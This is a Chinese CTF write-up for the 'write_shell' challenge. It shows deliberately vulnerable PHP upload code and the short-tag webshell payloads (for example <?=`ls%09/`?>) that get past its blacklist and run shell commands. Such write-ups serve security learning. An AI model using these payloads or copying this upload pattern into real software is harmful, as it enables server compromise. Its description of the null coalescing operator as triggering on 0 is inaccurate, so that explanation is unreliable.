[红明谷CTF 2021]write_shell
碎碎念:
这道题目还是蛮简单的,考了php短标签和空格绕过,还有一个双问号表达式
解题:
放出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!'); }else{ return $input; } }
function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } }
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case 'pwd': echo $dir; break; case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
|
首先就是通过你的sandbox+md5(ip)
创建一个沙盒路径 老套路了
然后这里有两个问号??
先来看看
这种是比较运算符中的NULL 合并操作符,从PHP7开始提供,作用是:从左往右第一个存在且不为 NULL 的操作数。如果都没有定义且不为 NULL,则返回 NULL
就是如果c= a??b 如果a为0 则c=b 如果a不为0 则c=a
然后就是有两个模式 一个pwd就是返回路径的 upload模式让我提交shell的但是提交前会通过一个筛选
过滤了"/'| |_|php|;|~|\\^|\\+|eval|{|}/i"
php eval {}
空格都被禁了
如果直接构造?data=ls%09/
则只会显示 不会执行 那么我们需要构造php代码去执行我们的linux命令 这也印证了前面为什么要禁php字样了
但是php字样被禁 所以要用短标签了 下面二选一
1 2
| <?echo%09`ls%09/`?> <?=`ls%09/`?>
|
这里绕过空格 不能用$IFS$9
估计是因为php会把这个$
当作变量来解析吧 用%09绕过就行
然后cat读出来就行了